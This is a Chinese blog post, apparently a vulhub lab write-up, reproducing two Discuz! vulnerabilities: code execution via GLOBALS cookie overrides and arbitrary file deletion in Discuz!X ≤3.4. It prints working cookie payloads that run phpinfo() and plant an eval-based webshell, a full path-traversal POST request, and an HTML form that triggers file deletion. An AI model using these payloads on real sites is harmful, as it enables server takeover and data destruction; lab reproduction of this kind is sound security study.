vulhub靶场漏洞复现——Discuz

文章介绍了Discuz!论坛系统中的安全漏洞,包括全局变量防御绕过导致的代码执行漏洞,以及任意文件删除漏洞。详细描述了如何利用这些漏洞获取shell和修改用户资料。
摘要由CSDN通过智能技术生成

Discuz简介:

Crossday Discuz! Board(简称 Discuz!,中国国家版权局著作权登记号 2006SR11895)是北京康盛新创科技有限责任公司推出的一套通用的社区建站系统,站长可以不需要任何编程基础,通过简单的安装和设置,在互联网上搭建起具备完善功能、很强负载能力和可高度定制的网站。Discuz! 的基础架构采用世界上最流行的web编程组合PHP+MySQL实现,是一个经过完善设计,适用于各种服务器环境的高效建站解决方案。

全局变量防御绕过导致代码执行(wooyun-2010-080723)

漏洞原理:
由于php5.3.x版本里php.ini的设置里request_order默认值为GP,导致$ _REQUEST中不再包含$ _COOKIE,我们通过在Cookie中传入$GLOBALS来覆盖全局变量,造成代码执行漏洞。

安装数据库:
http://ip:8080/install/
在这里插入图片描述在这里插入图片描述

填写联系方式后,自动跳转页面
在这里插入图片描述在这里插入图片描述

登陆后随意找一个帖子抓包,在cookie中加入

GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui;
GLOBALS[_DCACHE][smilies][replacearray]=phpinfo();

在这里插入图片描述
成功打印phpinfo信息

getshell操作:

GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui;
GLOBALS[_DCACHE][smilies][replacearray]=eval($_POST[shell])%3B;

在这里插入图片描述

用蚁剑连接
在这里插入图片描述
在这里插入图片描述

Value是请求包里cookie的值

在这里插入图片描述
在这里插入图片描述在这里插入图片描述

Discuz!X ≤3.4 任意文件删除漏洞

访问本地robots.txt,文件是存在的
在这里插入图片描述

安装数据库
在这里插入图片描述
注册用户
在这里插入图片描述个人资料页面
在这里插入图片描述

在个人主页找到formhash
在这里插入图片描述
带上ip,cookie、formhash发送数据包
在这里插入图片描述

POST /home.php?mod=spacecp&ac=profile&op=base HTTP/1.1
Host: localhost
Content-Length: 367
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryPFvXyxL45f34L12s
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.79 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6
Cookie: [your cookie]
Connection: close

------WebKitFormBoundaryPFvXyxL45f34L12s
Content-Disposition: form-data; name="formhash"

[your formhash]
------WebKitFormBoundaryPFvXyxL45f34L12s
Content-Disposition: form-data; name="birthprovince"

../../../robots.txt
------WebKitFormBoundaryPFvXyxL45f34L12s
Content-Disposition: form-data; name="profilesubmit"

1
------WebKitFormBoundaryPFvXyxL45f34L12s--

`
此时可以看到个人资料页面出生地被修改
在这里插入图片描述
说明我们的脏数据已经进入数据库了。

进入docker容器内,可以看到robots.txt
在这里插入图片描述
写入一个upload文件

<body>
    <form action="http://192.168.102.8/home.php?mod=spacecp&ac=profile&op=base&profilesubmit=1&formhash=
[formhash]" method="post" enctype="multipart/form-data">
        <input type="file" name="birthprovince" />
        <input type="submit" value="upload" />
    </form>
</body>

找到docker里面网站的存放目录(费老鼻子劲啊我去)
在这里插入图片描述
想尝试一下ftp传送文件

连接xftp,传送upload文件
在这里插入图片描述访问一下,随便上传一个图片
在这里插入图片描述
在这里插入图片描述

可以看到出生地被修改成图片名了
查看文件目录,可以看到robots.txt被删除了在这里插入图片描述访问一下

在这里插入图片描述
OK!
(tips:用最开始的浏览器访问还是能访问到,我猜是缓存的原因,换了个浏览器就好了)

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值